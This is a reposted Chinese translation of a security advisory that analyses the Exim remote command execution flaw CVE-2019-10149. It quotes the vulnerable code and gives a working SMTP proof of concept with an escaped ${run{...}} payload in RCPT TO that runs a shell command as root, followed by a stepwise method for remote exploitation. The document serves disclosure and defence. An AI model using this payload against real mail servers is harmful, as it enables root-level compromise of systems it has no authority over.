Exim远程命令执行漏洞分析(CVE-2019-10149)

栏目: 服务器 · 发布时间: 7年前

内容简介:在对Exim邮件服务器最新改动进行代码审计过程中,我们发现4.87到4.91版本之间的这个漏洞可以由本地攻击者直接利用(远程攻击者需要在特定的非默认配置下利用)。为了在默认配置下远程利用该漏洞,攻击者需要与存在漏洞的服务器建连7天(可以每隔几分钟发送1个字节)。然而由于Exim的代码非常复杂,我们无法保证这里介绍的方法是唯一的利用方法,可能还存在其他更加快捷的方法。

Exim远程命令执行漏洞分析(CVE-2019-10149)

0x00 前言

在对Exim邮件服务器最新改动进行代码审计过程中,我们发现4.87到4.91版本之间的 Exim 存在一个远程命令执行(RCE)漏洞。这里RCE指的是远程命令执行(Remote Command Execution),而不是远程代码执行(Remote Code Execution):攻击者可以以 root 权限使用 execv() 来执行任意命令,利用过程中不涉及到内存破坏或者ROP(Return-Oriented Programming)相关内容。

这个漏洞可以由本地攻击者直接利用(远程攻击者需要在特定的非默认配置下利用)。为了在默认配置下远程利用该漏洞,攻击者需要与存在漏洞的服务器建连7天(可以每隔几分钟发送1个字节)。然而由于Exim的代码非常复杂,我们无法保证这里介绍的方法是唯一的利用方法,可能还存在其他更加快捷的方法。

从4.87版开始(2016年4月6日公布),由于 #ifdef EXPERIMENTAL_EVENT 改成了 #ifndef DISABLE_EVENT ,因此Exim默认情况下就存在漏洞。在之前的版本中,如果手动启用了 EXPERIMENTAL_EVENT 选项,那么服务器也会存在漏洞。令人惊讶的是,这个漏洞已经在4.92版中被修复(2019年2月10日):

https://github.com/Exim/exim/commit/7ea1237c783e380d7bdb86c90b13d8203c7ecf26
https://bugs.exim.org/show_bug.cgi?id=2310

然而Exim并没有把这个问题当成安全漏洞,因此大多数操作系统都会受到影响。比如,我们在最新的Debian发行版(9.9)中就成功利用了该漏洞。

0x01 本地利用

漏洞代码位于 deliver_message() 中:

6122 #ifndef DISABLE_EVENT
6123       if (process_recipients != RECIP_ACCEPT)
6124         {
6125         uschar * save_local =  deliver_localpart;
6126         const uschar * save_domain = deliver_domain;
6127
6128         deliver_localpart = expand_string(
6129                       string_sprintf("${local_part:%s}", new->address));
6130         deliver_domain =    expand_string(
6131                       string_sprintf("${domain:%s}", new->address));
6132
6133         (void) event_raise(event_action,
6134                       US"msg:fail:internal", new->message);
6135
6136         deliver_localpart = save_local;
6137         deliver_domain =    save_domain;
6138         }
6139 #endif

由于 expand_string() 可以识别 ${run{<command> <args>}} 扩展项,且 new->address 是正在投递的邮件的收件方,因此本地攻击者可以向 ${run{...}}@localhost 发送一封邮件(其中 localhost 是Exim的某个本地域),以 root 权限执行任意命令(默认情况下 deliver_drop_privilege 的值为 false )。

操作过程如下所示:

john@debian:~$ cat /tmp/id
cat: /tmp/id: No such file or directory

john@debian:~$ nc 127.0.0.1 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 09:10:41 -0400
HELO localhost
250 debian Hello localhost [127.0.0.1]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
250 Accepted
DATA
354 Enter message, ending with "." on a line by itself
Received: 1
Received: 2
Received: 3
Received: 4
Received: 5
Received: 6
Received: 7
Received: 8
Received: 9
Received: 10
Received: 11
Received: 12
Received: 13
Received: 14
Received: 15
Received: 16
Received: 17
Received: 18
Received: 19
Received: 20
Received: 21
Received: 22
Received: 23
Received: 24
Received: 25
Received: 26
Received: 27
Received: 28
Received: 29
Received: 30
Received: 31

.
250 OK id=1hTnYa-0000zp-8b
QUIT
221 debian closing connection

john@debian:~$ cat /tmp/id
cat: /tmp/id: Permission denied

root@debian:~# cat /tmp/id
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)
uid=0(root) gid=111(Debian-exim) groups=111(Debian-exim)

在这个例子中:

  • 我们向邮件服务器发送了多个 Received: 头(超过 received_headers_max ,这个值默认为30),从而执行存在漏洞的代码。
  • 我们使用反斜杠转义了收件方地址中的无效字符, 以便 expand_string() 后续处理(在 expand_string_internal() 以及 transport_set_up_command() 函数中会调用)。

0x02 远程利用

我们的本地利用方法并不适合于远程利用场景,这是因为Exim默认配置的 verify = recipient ACL(访问控制列表)会要求收件人地址的本地部分(即 @ 之前的部分)必须是本地用户的名称,如下所示:

john@debian:~$ nc 192.168.56.101 25
220 debian ESMTP Exim 4.89 Thu, 23 May 2019 10:06:37 -0400
HELO localhost
250 debian Hello localhost [192.168.56.101]
MAIL FROM:<>
250 OK
RCPT TO:<${run{\x2Fbin\x2Fsh\t-c\t\x22id\x3E\x3E\x2Ftmp\x2Fid\x22}}@localhost>
550 Unrouteable address

非默认配置

我们最终设计了一种巧妙的方法,可以用来远程利用默认配置的Exim。我们首先确定了便于远程利用的各种非默认配置:

  • 如果管理员手动移除了 verify = recipient ACL(可能是为了避免通过 RCPT TO 枚举用户名),那么我们的本地利用方法就能远程使用;
  • 如果管理员配置Exim可以识别收件方地址本地部分的标签(如通过 local_part_suffix = +* : -* ),那么远程攻击者可以简单复用我们的本地利用方法,其中 RCPT TO 设为 balrog+${run{...}}@localhost 即可(这里 balrog 是某个本地用户名);
  • 如果管理员配置Exim作为辅MX(Mail eXchange),将邮件转发至远程域,那么远程攻击者可以简单复用我们的本地里利用方法,其中 RCPT TO 设为 ${run{...}}@khazad.dum (这里 khazad.dum 是Exim的某个 relay_to_domains )。实际上, verify = recipient ACL只能检查远程地址的域名部分(即 @ 之后的部分),不能检查其中的本地部分。

默认配置

首先,我们通过一个“反弹(bounce)”消息来解决 verify = recipient ACL问题:如果我们发送无法投递的一封邮件,Exim会自动向原始发件人发送(“反弹”)一个投递失败消息。换句话说,原始邮件发送方(即我们的 MAIL FROM )现在变成反弹消息的收件方(对应该消息的 RCPT TO ),因此可以使用 ${run{...}} 来执行命令。实际上,在默认配置的Exim中, verify = sender ACL只会检查我们原始发件人地址的域名部分,不去检查本地部分(因为这是一个远程地址)。

接下来,反弹消息会处理到存在漏洞的代码,通过 process_recipients != RECIP_ACCEPT 的条件判断,但这里我们不能复用 received_headers_max 技巧,因为我们无法复用我们的头部。我们对第二个问题的解决办法并不是最优解:如果反弹消息在7天后(这是默认的 timeout_frozen_after 值)仍无法投递,那么Exim就会将 process_recipients 设置为 RECIP_FAIL_TIMEOUT ,然后执行存在漏洞的代码。

最后,我们必须解决一个看上去非常棘手的问题:在2天后(默认的 ignore_bounce_errors_after 值),反弹消息如果没有被推迟投递,那么就会被丢弃。而在4天后,根据默认的重试规则( F,2h,15m; G,16h,1h,1.5; F,4d,6h ),被延迟投递的地址会被归入失败地址中,因此会在7天时间期限( timeout_frozen_after )之前丢弃反弹消息。我们解决第三个问题以及通用的远程利用问题的方法如下所示(但可能存在更加简单且更快捷的解决方案):

1、我们连接到存在漏洞Exim服务器,发送无法被投递的一封邮件(因为我们发送了超过 received_headers_max 的 Received: 头)。我们邮件的收件方地址( RCPT TO )设置为 postmaster ,其发送方地址( MAIL FROM )为 ${run{...}}@khazad.dum (这里 khazad.dum 为我们可控的一个域名)。

2、由于我们的邮件无法被投递,Exiam会连接到 khazad.dum 的 MX (我们会监听并接受这个连接),开始向 ${run{...}}@khazad.dum 发送反弹消息。

3、每隔4分钟向Exim发送一个字节,保持该连接处于打开状态7天(默认的 timeout_frozen_after )。该操作之所以能成功,是因为Exim会将其发送的SMTP(Simple Mail Transfer Protocol)命令所收到的响应数据写入一个4096字节缓冲区中( DELIVER_BUFFER_SIZE ),请求命令超时时间设为5分钟(默认的 command_timeout ),每收到1个字节就会重置超时时间。

4、在7天后,我们最终发送完冗长的SMTP响应,返回永久投递失败(比如“550 Unrouteable address”),这样 post_process_one() 函数就会冻结这个反弹消息。该函数实际上应该抛弃这个反弹消息,而不是冻结消息(如果冻结消息,我们就无法访问存在漏洞的代码),因为该消息处理时间已超过2天(默认的 ignore_bounce_errors_after ):

1613   /* If this is a delivery error, or a message for which no replies are
1614   wanted, and the message's age is greater than ignore_bounce_errors_after,
1615   force the af_ignore_error flag. This will cause the address to be discarded
1616   later (with a log entry). */
1617
1618   if (!*sender_address && message_age >= ignore_bounce_errors_after)
1619     setflag(addr, af_ignore_error);

然而在这个特殊的场景下, message_age 并不是反弹消息的实际处理时间(超过7天),而是该消息首次从Exim spool 中加载的时间(只有几秒或者几分钟)。

5、最终,Exim默认运行的下次队列(在Debian上,默认情况下每隔30分钟)会从 spool 中加载被冻结的反弹消息,将 process_recipients 设置为 RECIP_FAIL_TIMEOUT (这一次 message_age 为反弹消息的实际处理时间,已超过7天),然后执行存在漏洞的代码以及我们构造的命令(我们原始发送方地址 ${run{...}}@khazad.dum 为反弹消息的收件地址,会被 expand_string() 解析)。

备注:如果想快速测试这个远程利用方法,Exim默认设置的 timeout_frozen_after 以及 ignore_bounce_errors_after 天数可以被替换成小时数,默认重试规则可以改为 F,4h,6m 。

0x03 致谢

感谢Exim开发人员、Solar Designer以及distros @openwall 的小伙伴们。

本文标题“The Return of the WIZard”(注:英文标题)源自Sendmail非常古老的WIZ及DEBUG漏洞:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0145
https://seclists.org/bugtraq/1995/Feb/56

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-0095
http://www.cheswick.com/ches/papers/berferd.pdf

0x04 时间线

2019-05-27 向 security@exim 反馈漏洞报告

2019-05-28 向 distros@openwall 反馈漏洞报告


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。

JavaScript and Ajax for the Web, Sixth Edition

JavaScript and Ajax for the Web, Sixth Edition

Tom Negrino、Dori Smith / Peachpit Press / August 28, 2006 / $24.99

Book Description Need to learn JavaScript fast? This best-selling reference’s visual format and step-by-step, task-based instructions will have you up and running with JavaScript in no time. In thi......一起来看看 《JavaScript and Ajax for the Web, Sixth Edition》 这本书的介绍吧!

JSON 在线解析
JSON 在线解析

在线 JSON 格式化工具

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具